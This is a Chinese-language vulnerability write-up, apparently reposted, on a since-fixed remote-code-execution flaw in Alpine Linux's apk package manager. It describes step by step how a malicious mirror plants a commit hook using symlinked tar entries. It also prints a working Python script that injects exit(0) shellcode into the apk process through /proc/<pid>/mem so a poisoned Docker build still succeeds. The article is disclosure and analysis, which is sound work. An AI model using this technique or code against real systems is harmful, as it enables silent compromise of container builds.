研究人员在Alpine Linux的默认包管理器中apk中发现了一些漏洞。Alpine与Docker非常类似,是一种轻量级的Linux发行版。这些漏洞允许网络中间人(恶意包镜像)在用户机器上执行任意代码。而当默认仓库不支持TLS时,这个问题更加严重。目前该bug已修复,Alpine镜像也已更新。
在获取代码执行权限后,研究人员找出一种在/proc/<pid>/mem
中写入的方式使用原始的apk进程用0
退出状态码退出,而无须SYS_PTRACE
能力。结果就是可以成功利用用apk安装package的Dockerfile。
下面是利用Docker容器作网络中间人的代码示例:
https://justi.cz/assets/apkpoc.mp4
任意文件创建导致RCE
Alpine packages以.apk
文件的形式分发,这些.apk
文件启示是gzip压缩的tar
文件。当apk
取回package时,在检查哈希值是否与签名过的manifest中一致前会提取到。
提取文件时,每个文件名和硬链接的目标都加了.apk-new
的后缀。如果apk
文件发现下载的package的哈希值不对,就尝试取消所有提取的文件和目录的链接。
因为apk的commit hooks
特征,所以任意代码写很容易就可以转成代码执行。如果找到一种将文件提取到/etc/apk/commit_hooks.d/
中的方法,并确保清理进程允许后文件还在,那么就可以在apk文件退出前执行。
有了下载的tar文件的控制权,就可以创建一个永久的commit hook
,就像这样:
- 在
/etc/apk/commit_hooks.d/
目录下创建一个文件夹,提取的文件夹都没有.apk-new
后缀; - 在
/etc/apk/commit_hooks.d/x
下创建一个symlink,扩展的名会变成link.apk-new
,但仍指向/etc/apk/commit_hooks.d/x
; - 创建一个名为
link
的文件(link.apk-new),可以通过symlink写,并在/etc/apk/commit_hooks.d/x
中创建一个文件。
当apk文件发现package的哈希值与签名的index不匹配,首先会取消link.apk-new
的链接,但/etc/apk/commit_hooks.d/x
还是存在的。因为目录中不含payload,所以会用ENOTEMPTY
取消/etc/apk/commit_hooks.d/
的链接。
修复退出状态码
在apk文件退出前,在客户端上可以运行任意代码;因此找出一种能够使apk进程正常退出的方法很重要。如果在Dockerfile构建步骤中使用apk,如果apk返回非0退出状态码那这一步就失败了。
如果什么都不做,apk就会返回与未成功安装的包数量相等的退出状态码,但状态码也可能会溢出,如果错误安装包数%256==0
,进程返回的退出状态码也是0
。
研究任意首先尝试使用gdb来与进程相关,但调用的是exit(0)
。Docker容器默认是没有SYS_PTRACE
能力的,所以不能完成这一动作。如果root过的话,就可以在/proc/<pid>/mem
目录下进行读写操作:
import subprocess
import re
pid = int(subprocess.check_output(["pidof", "apk"]))
print("�33[92mapk pid is {}�33[0m".format(pid))
maps_file = open("/proc/{}/maps".format(pid), 'r')
mem_file = open("/proc/{}/mem".format(pid), 'w', 0)
print("�33[92mEverything is fine! Please move along...�33[0m")
NOP = "90".decode("hex")
# xor rdi, rdi ; mov eax, 0x3c ; syscall
shellcode = "4831ffb83c0000000f05".decode("hex")
# based on https://unix.stackexchange.com/a/6302
for line in maps_file.readlines():
m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])', line)
start = int(m.group(1), 16)
end = int(m.group(2), 16)
if "apk" in line and "r-xp" in line:
mem_file.seek(start)
nops_len = end - start - len(shellcode)
mem_file.write(NOP * nops_len)
mem_file.write(shellcode)
maps_file.close()
mem_file.close()
因此,研究人员:
- 用
pidof
找出了apk进程的pid; - 用
/proc/<pid>/maps
找出进程可执行内存; - 写一个直接
exit(0)
到内存的shellcode。
在commit hook退出后,apk恢复执行,就可以运行shellcode。
结论
如果有用户在生成环境下使用Alpine Linux,那么就需要:
- 重构镜像。
- 关注开发者的动态。好像apk的一个主要开发者已经修复了该bug,之后Alpine发布了一个新的发布版本。
来源:https://xz.aliyun.com/ 感谢【angel010】
原文始发于微信公众号(船山信安):Alpine Linux远程代码执行漏洞分析
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论